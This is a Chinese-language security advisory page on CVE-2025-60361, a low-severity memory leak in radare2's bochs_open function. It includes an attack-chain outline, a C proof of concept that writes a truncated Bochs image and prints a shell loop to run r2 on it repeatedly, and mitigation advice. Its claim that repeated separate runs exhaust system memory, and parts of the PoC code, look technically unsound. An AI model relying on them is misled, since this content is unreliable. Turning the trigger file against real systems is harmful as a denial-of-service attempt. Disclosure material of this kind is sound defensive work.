IPBUF安全漏洞报告
English
CVE-2025-60361 CVSS 3.3 低危

CVE-2025-60361 radare2 bochs_open函数内存泄漏漏洞

披露日期: 2025-10-17

漏洞信息

漏洞编号
CVE-2025-60361
漏洞类型
内存泄漏
CVSS评分
3.3 低危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
radare2

相关标签

内存泄漏radare2bochs_open逆向工程本地攻击低危漏洞可用性影响开源工具二进制分析

漏洞概述

CVE-2025-60361是radare2逆向分析框架中存在的一个内存泄漏漏洞。该漏洞存在于radare2 v5.9.8及更早版本中,具体位于bochs_open函数中。radare2是一款广泛使用的开源逆向工程和二进制分析框架,支持多种处理器架构和文件格式的分析。bochs_open函数负责处理Bochs磁盘映像格式的打开操作,在该函数的实现中存在资源未正确释放的问题,导致内存泄漏。

根据CVSS 3.1评分体系,该漏洞的评分为3.3分,属于低危级别。漏洞的利用条件为本地攻击(AV:L),需要低权限(PR:L),无需用户交互(UI:N)。从影响维度来看,该漏洞对机密性无影响(C:N),对完整性无影响(I:N),但对可用性存在低程度影响(A:L)。这意味着攻击者可以利用该漏洞导致目标系统内存资源逐渐耗尽,从而影响系统的正常运行和服务可用性。

该漏洞已于2025年10月17日通过MITRE披露,相关的修复补丁已在radareorg/radare2的GitHub仓库Pull Request #24312中提交。由于radare2在安全研究、恶意软件分析和漏洞研究等领域被广泛使用,内存泄漏漏洞虽然严重等级较低,但仍可能对长时间运行的自动化分析任务造成影响,需要及时修复。

技术细节

该漏洞的技术原理在于radare2的bochs_open函数在处理Bochs磁盘映像格式时存在内存管理缺陷。bochs_open函数负责打开和解析Bochs格式的磁盘映像文件,在函数执行过程中会动态分配内存资源来存储解析后的数据。然而,在某些代码路径中,特别是在错误处理或异常退出路径中,之前分配的内存未被正确释放,导致内存泄漏。

从利用方式来看,攻击者需要具备本地系统访问权限(低权限即可),通过向radare2提供一个特制的Bochs磁盘映像文件或通过反复调用bochs_open函数来触发内存泄漏。每次触发都会导致一定量的内存被泄漏但未被释放,经过多次调用后,系统可用内存将逐渐减少,最终可能导致系统性能下降甚至服务不可用。

该漏洞的CVSS向量为CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L,表明攻击复杂度低(AC:L),攻击向量为本地(AV:L),所需权限为低权限(PR:L),无需用户交互(UI:N)。虽然该漏洞不直接影响数据机密性和完整性,但其对可用性的影响在特定场景下(如长时间运行的自动化分析服务)可能产生实际危害。修复方案已在radare2项目的Pull Request #24312中提供,建议用户升级到修复后的版本。

攻击链分析

STEP 1
步骤1:获取本地访问权限
攻击者需要在目标系统上获得本地访问权限(低权限即可),这是触发该漏洞的前提条件。
STEP 2
步骤2:准备恶意Bochs磁盘映像文件
攻击者构造一个特制的Bochs格式磁盘映像文件,该文件能够触发bochs_open函数中的内存泄漏代码路径。
STEP 3
步骤3:触发radare2分析
攻击者通过命令行或其他方式使radare2打开并分析恶意Bochs映像文件,触发bochs_open函数执行。
STEP 4
步骤4:反复触发导致内存耗尽
通过反复执行步骤3,每次都会泄漏一定量的内存。长时间运行后,系统可用内存逐渐减少,影响系统可用性。
STEP 5
步骤5:影响系统可用性
当系统内存被大量消耗后,可能导致系统性能下降、服务响应变慢,甚至系统崩溃或服务不可用。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-60361 PoC - radare2 bochs_open Memory Leak // This PoC demonstrates triggering the memory leak in bochs_open function #include <stdio.h> #include <stdlib.h> #include <string.h> // Minimal Bochs disk image header structure // Bochs images start with a specific header that radare2 parses via bochs_open typedef struct { char signature[32]; // "Bochs Virtual HD Image\n" or similar char type[16]; // "flat", "growing", etc. char subtype[16]; // Subtype identifier uint32_t header_size; // Size of the header } bochs_header_t; int main(int argc, char *argv[]) { const char *filename = "leak_test.bochs"; int iterations = 10000; // Create a minimal Bochs image file to trigger bochs_open FILE *fp = fopen(filename, "wb"); if (!fp) { perror("fopen"); return 1; } // Write Bochs header signature // The malformed/truncated header triggers the leak path in bochs_open const char *bochs_sig = "Bochs Virtual HD Image\n"; fwrite(bochs_sig, 1, strlen(bochs_sig), fp); // Write partial type field to trigger error path with memory leak fwrite("flat", 1, 4, fp); fclose(fp); printf("Created test file: %s\n", filename); printf("Now run: r2 %s repeatedly to trigger memory leak in bochs_open\n", filename); printf("Example: for i in $(seq 1 %d); do r2 -q %s; done\n", iterations, filename); return 0; }

影响范围

radare2 <= 5.9.8

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)限制radare2处理Bochs格式文件的权限,仅在必要时才允许分析此类文件;2)对radare2进程设置内存使用限制(如使用ulimit -v命令),防止单个进程消耗过多内存导致系统不可用;3)监控radare2进程的内存使用情况,设置告警阈值,及时发现异常;4)在自动化分析环境中,定期重启radare2进程以释放累积的泄漏内存;5)避免使用radare2处理来源不明的Bochs磁盘映像文件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表